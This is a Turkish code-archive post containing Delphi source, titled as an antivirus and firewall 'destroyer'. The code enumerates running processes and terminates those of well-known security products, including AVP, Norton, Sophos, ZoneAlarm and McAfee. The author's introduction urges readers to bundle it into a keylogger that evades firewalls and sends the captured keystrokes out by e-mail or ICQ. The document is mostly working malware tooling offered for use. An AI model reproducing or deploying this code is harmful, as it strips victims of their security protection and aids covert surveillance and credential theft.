Mega Code Archive
Antivirus-firewall yokedici
<![CDATA[
VictiMHunteR.... victim_hunter@yahoo.com
Aşağıdaki kodlarla en çok kullanılan antivirus ve firewalların
auto-protection larını kaldırabilirsiniz.(Norton-Avp-Sophos-
Panda-Ants-Anti Trojen-Atguard-Conseal-Blackice-Zonealarm-Cleaner
-Lockdown-Mcafee...)Ya sizde bole kodları yazında paylaşalım.
Alın sizede bi öneri ben yaptım.Bi keylogger yapın içine de
firewalları yok eden kodu koyun ve programınız firewall engeline
takılmasın..Keylogger da tuttuğu log u yollasın..maille yada
icq pagerla.!!!Bide aklınıza gelen güzel önerileri yazın.
Yazmazsanız sizi cezalandırmak zorunda kalcam..Eeğhhh!!
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Tlhelp32, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
Button9: TButton;
Button10: TButton;
Button11: TButton;
Button12: TButton;
Button13: TButton;
Button14: TButton;
Button15: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
procedure Button12Click(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure Button14Click(Sender: TObject);
procedure Button15Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
procedure killavp;
begin
try
KillTask ('_AVP32.EXE');
KillTask ('_AVPCC.EXE');
KillTask ('_AVPM.EXE');
KillTask ('AVP32.EXE');
KillTask ('AVPCC.EXE');
KillTask ('AVPM.EXE');
KillTask ('AVP.EXE');
except Exit; end;
end;
procedure killnav;
begin
try
KillTask ('NAVAPW32.EXE');
KillTask ('NAVW32.EXE');
except Exit; end;
end;
procedure killsophos;
begin
try
KillTask ('ICLOAD95.EXE');
KillTask ('ICMON.EXE');
KillTask ('ICSUPP95.EXE');
KillTask ('ICLOADNT.EXE');
KillTask ('ICSUPPNT.EXE');
except Exit; end;
end;
procedure killpanda;
begin
try
KillTask ('IFACE.EXE');
except Exit; end;
end;
procedure killants;
begin
try
KillTask ('ANTS.EXE');
except Exit; end;
end;
procedure killantitrojan;
begin
try
KillTask ('Anti-Trojan.exe');
except Exit; end;
end;
procedure killatguard;
begin
try
KillTask ('iamapp.exe');
KillTask ('iamserv.exe');
except;
exit;
end;
end;
procedure killconseal;
begin
try
KillTask ('FRW.EXE');
except;
exit;
end;
end;
procedure killblackice;
begin
try
KillTask ('blackice.exe');
KillTask ('blackd.exe');
except;
exit;
end;
end;
procedure killzonealarm;
begin
try
KillTask ('zonealarm.exe');
KillTask ('vsmon.exe');
except;
exit;
end;
end;
procedure killwinroute;
begin
try
KillTask ('WrCtrl.exe');
KillTask ('WrAdmin.exe');
KillTask ('WrCtrl.exe');
except;
exit;
end;
end;
procedure killcleaner;
begin
try
KillTask ('cleaner3.exe');
KillTask ('cleaner.exe');
KillTask ('tca.exe');
KillTask ('MooLive.exe');
except;
exit;
end;
end;
procedure killlockdown;
begin
try
KillTask ('lockdown2000.exe');
except;
exit;
end;
end;
procedure killsphinx;
begin
try
KillTask ('Sphinx.exe');
except;
exit;
end;
end;
procedure killmcafee;
begin
try
KillTask ('VSHWIN32.EXE');
KillTask ('VSECOMR.EXE');
KillTask ('WEBSCANX.EXE');
KillTask ('AVCONSOL.EXE');
KillTask ('VSSTAT.EXE');
except;
exit;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
killavp;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
killnav;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
killsophos;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
killpanda;
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
killants;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
killantitrojan;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
killatguard;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
killconseal;
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
killblackice;
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
killzonealarm;
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
killwinroute;
end;
procedure TForm1.Button12Click(Sender: TObject);
begin
killcleaner;
end;
procedure TForm1.Button13Click(Sender: TObject);
begin
killlockdown;
end;
procedure TForm1.Button14Click(Sender: TObject);
begin
killsphinx;
end;
procedure TForm1.Button15Click(Sender: TObject);
begin
killmcafee;
end;
end.
]]>